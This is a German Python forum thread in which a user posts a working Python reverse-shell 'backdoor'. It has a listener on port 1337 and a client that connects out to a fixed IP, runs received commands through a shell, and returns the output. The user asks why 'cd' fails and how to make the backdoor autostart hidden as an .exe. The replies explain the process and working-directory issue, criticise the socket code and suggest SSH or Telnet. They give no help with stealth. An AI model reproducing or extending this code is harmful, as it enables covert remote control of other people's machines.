"Backdoor" Fehler

Sockets, TCP/IP, (XML-)RPC und ähnliche Themen gehören in dieses Forum
Antworten
darkblood092
User
Beiträge: 1
Registriert: Donnerstag 31. August 2017, 15:37

Donnerstag 31. August 2017, 15:42

Hallo habe eine Art Backdoor in Py geschrieben aber ein Befehl funktioniert nicht...
Ich kann den "cd .." nicht benutzen ! Kann mir wer helfen??
BackdoorSender

Code: Alles auswählen

import socket

host = ''
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(10)
print("Listening on 0.0.0.0:%s" % str(port))
connection, addr = s.accept()
print("Connection established to " + addr[0])
data = connection.recv(4098)
data = data.decode("latin-1")
print(data)
while True:
    cmd = input("Command: ")
    if cmd == "":
        continue
    connection.send(str.encode(cmd))
    if cmd == "quit":
        break
    data = connection.recv(4098)
    data = data.decode("latin-1")
    print(data)
connection.close()
Backdoor

Code: Alles auswählen

import socket
import subprocess

host = '192.168.178.86'
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(str.encode("Backdoor running."))

while True:
    data = s.recv(4098)
    if data.decode == "quit":
        break
    proc = subprocess.Popen(data.decode("latin-1"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE,
                            stderr=subprocess.PIPE)
    stdout = proc.stdout.read()
    stderr = proc.stderr.read()
    s.send(stdout)
    s.send(stderr)
Ps:
Wäre auch cool wenn jemand eine Idee hat, wie ich die Backdoor (als .exe) in den Autostart packen kann und sie nur im Hintergrund arbeitet;)

LG Tom
lutzhorn
User
Beiträge: 1
Registriert: Donnerstag 31. August 2017, 09:29

Donnerstag 31. August 2017, 15:54

in Befehl funktioniert nicht...
Ich kann den "cd .." nicht benutzen
Was erwartest Du denn? `subprocess.Popen` wird ausführen, was als Argument übergeben wird. Auswirkungen auf folgende Aufrufe von `subprocess.Popen` hat das aber nicht.
__deets__
User
Beiträge: 3302
Registriert: Mittwoch 14. Oktober 2015, 14:29

Donnerstag 31. August 2017, 15:56

Das du cd nicht benutzen kannst liegt daran, dassdas Arbeitsverzeichnis der "Backdoor" automatisch uebernommen wird fuer jeden gestarteten Unterprozess.

Das zu aendern ist nicht einfach. Am besten waere es wahrscheinlich du fernsteuerst eine laufende Shell, statt jedes Kommando einzeln zu starten.

Dann gibt es noch die ueblichen Probleme:

- du verletzt die Konventionen des PEP-8 Coding styles. Dazu gehoert das Konstanten gross geschrieben werden.
- du schreibst Code direkt auf Modulebene, statt in Funktionen, die du dann aufrufst, und gegen versehentliches Ausfuehren mit 'if __name__ == '__main__'' schuetzt.
- du benutzt Sockets nicht richtig, weil du davon ausgehst, das alles, was du sendest, auch so ankommt. Das stimmt aber nicht, das recv kan auch mit einem beliebig kleinerem Ergebnis zurueckkommen. Du musst also ein Protokoll schreiben, um ganze Nachrichten zu verschicken und zu empfangen.

Last but not least: das was du da schreibst gibt es schon in der Form von SSH und Telnet. Warum benutzt du die nicht einfach?
Sirius3
User
Beiträge: 8277
Registriert: Sonntag 21. Oktober 2012, 17:20

Donnerstag 31. August 2017, 15:58

@darkblood092: so funktioniert Socket-Programmierung nicht. TCP ist ein Streaming-Protokoll. Du brauchst eine Kennzeichnung, dass eine Nachricht vollständig ist. Am besten Arbeitest Du auch nicht mit send/recv, sondern erzeugst mit makefile ein Dateiobjekt-ähnliches Interface.
Zum eigentlichen Problem: das aktuelle Verzeichnis wird für jeden Prozess festgelegt. Da Du jedesmal einen neuen Prozess startest, hat ein `cd` überhaupt keine Auswirkung.
Antworten